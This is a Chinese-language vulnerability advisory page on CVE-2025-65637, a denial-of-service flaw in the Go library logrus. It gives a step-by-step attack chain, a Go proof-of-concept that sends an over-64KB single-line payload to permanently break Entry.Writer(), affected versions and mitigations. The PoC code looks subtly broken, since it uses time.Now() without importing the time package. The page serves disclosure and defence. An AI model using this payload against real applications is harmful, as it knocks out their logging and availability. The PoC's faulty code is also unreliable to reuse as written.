IPBUF安全漏洞报告
English
CVE-2025-65637 CVSS 7.5 高危

CVE-2025-65637 logrus日志库拒绝服务漏洞

披露日期: 2025-12-04

漏洞信息

漏洞编号
CVE-2025-65637
漏洞类型
拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
github.com/sirupsen/logrus

相关标签

拒绝服务logrusGo语言日志库缓冲区限制CVE-2025-65637bufio.Scanner管道关闭

漏洞概述

CVE-2025-65637是github.com/sirupsen/logrus日志库中的一个高危拒绝服务漏洞。该漏洞存在于Entry.Writer()功能中,当使用该功能记录单行payload且内容超过64KB且不包含换行符时,会触发内部bufio.Scanner的限制,导致读取操作失败并返回「token too long」错误。此错误会导致写入管道被意外关闭,使得Writer()方法永久不可用,进而造成应用程序的日志功能失效,最终导致应用程序可用性受损(DoS)。logrus是Go语言生态中广泛使用的日志库,被大量开源项目和商业应用所依赖,因此该漏洞影响范围较广。任何使用受影响版本logrus且允许用户控制日志内容的应用都可能受到此漏洞威胁。攻击者可以通过向应用程序提交超长的单行日志数据来触发该漏洞,导致服务中断。

技术细节

该漏洞的根源在于Go语言标准库中bufio.Scanner的默认token大小限制为64KB。当logrus的Entry.Writer()方法尝试读取超过此限制的连续数据(无换行符分隔)时,Scanner会抛出「bufio.Scanner: token too long」错误。在logrus的早期版本中,这个错误处理逻辑存在缺陷:当Scanner遇到错误时,会直接关闭底层的写入管道(pipe),导致Writer()方法变得完全不可用。由于Writer()是通过goroutine中的管道实现的,一旦管道被关闭,该goroutine将无法继续工作,即使后续传入符合长度要求的数据也无法恢复功能。攻击者只需要构造一个大于64KB且不包含换行符\n的字符串作为日志内容,通过任何支持用户输入日志的渠道(如日志记录API、错误报告功能等)提交,即可触发该漏洞。这种攻击方式简单直接,不需要特殊权限或复杂的技术手段。

攻击链分析

STEP 1
步骤1:侦察与目标识别
攻击者识别使用受影响版本logrus(< 1.8.3, 1.9.0, 1.9.2)的应用程序,并找到可以控制日志内容的入口点,如用户输入、API参数或错误报告功能。
STEP 2
步骤2:构造恶意payload
攻击者构造一个大于64KB的单行payload(不包含换行符\n)。由于bufio.Scanner的默认最大token大小限制为64KB,这会触发Scanner的「token too long」错误。
STEP 3
步骤3:触发漏洞
通过识别的入口点将恶意payload提交给应用程序,触发Entry.Writer()方法处理该数据。Scanner读取失败并返回错误。
STEP 4
步骤4:管道关闭
在受影响版本中,错误处理逻辑会关闭底层的写入管道,导致Writer()方法永久失效。该管道是通过goroutine实现的,一旦关闭无法恢复。
STEP 5
步骤5:拒绝服务生效
Writer()方法不可用后,应用程序的日志功能受损。后续所有尝试使用该Writer的日志记录操作都会失败,可能导致应用程序功能异常或完全不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-65637 PoC - logrus Entry.Writer() DoS // This PoC demonstrates the DoS vulnerability in logrus < 1.8.3, 1.9.0, 1.9.2 package main import ( "fmt" "github.com/sirupsen/logrus" ) func generateLargePayload(size int) []byte { // Generate payload larger than 64KB without newline characters payload := make([]byte, size) for i := range payload { payload[i] = 'A' } return payload } func main() { log := logrus.New() // Create an entry with the logger entry := &logrus.Entry{ Logger: log, Time: time.Now(), Level: logrus.InfoLevel, Message: "test", } // Get the writer from the entry writer := entry.Writer() // Generate payload larger than 64KB (bufio.Scanner default max token size) // 64KB = 65536 bytes largePayload := generateLargePayload(70000) // 70KB payload // Write the large payload without newline // This will trigger "token too long" error and close the pipe n, err := writer.Write(largePayload) fmt.Printf("Written %d bytes, error: %v\n", n, err) // After the error, writer.Write() will return error because pipe is closed // Try to write normal data - this will fail _, err = writer.Write([]byte("normal log message\n")) fmt.Printf("Second write error: %v\n", err) // The Writer is now permanently unusable (DoS condition) } // Mitigation: Add newlines to split large payloads or upgrade to fixed versions // Fixed versions: v1.8.3, v1.9.1, v1.9.3+ // The fix chunks the input and continues functioning even if an error is logged

影响范围

github.com/sirupsen/logrus < 1.8.3
github.com/sirupsen/logrus = 1.9.0
github.com/sirupsen/logrus = 1.9.2

防御指南

临时缓解措施
如果无法立即升级到修复版本,可以采取以下临时缓解措施:1)对所有通过Entry.Writer()写入的日志内容进行预处理,在每64KB数据后强制插入换行符(\n);2)对用户输入的日志内容实施长度限制和格式验证;3)监控应用程序的日志写入错误,及时发现并处理异常情况;4)考虑使用其他日志库作为临时替代方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表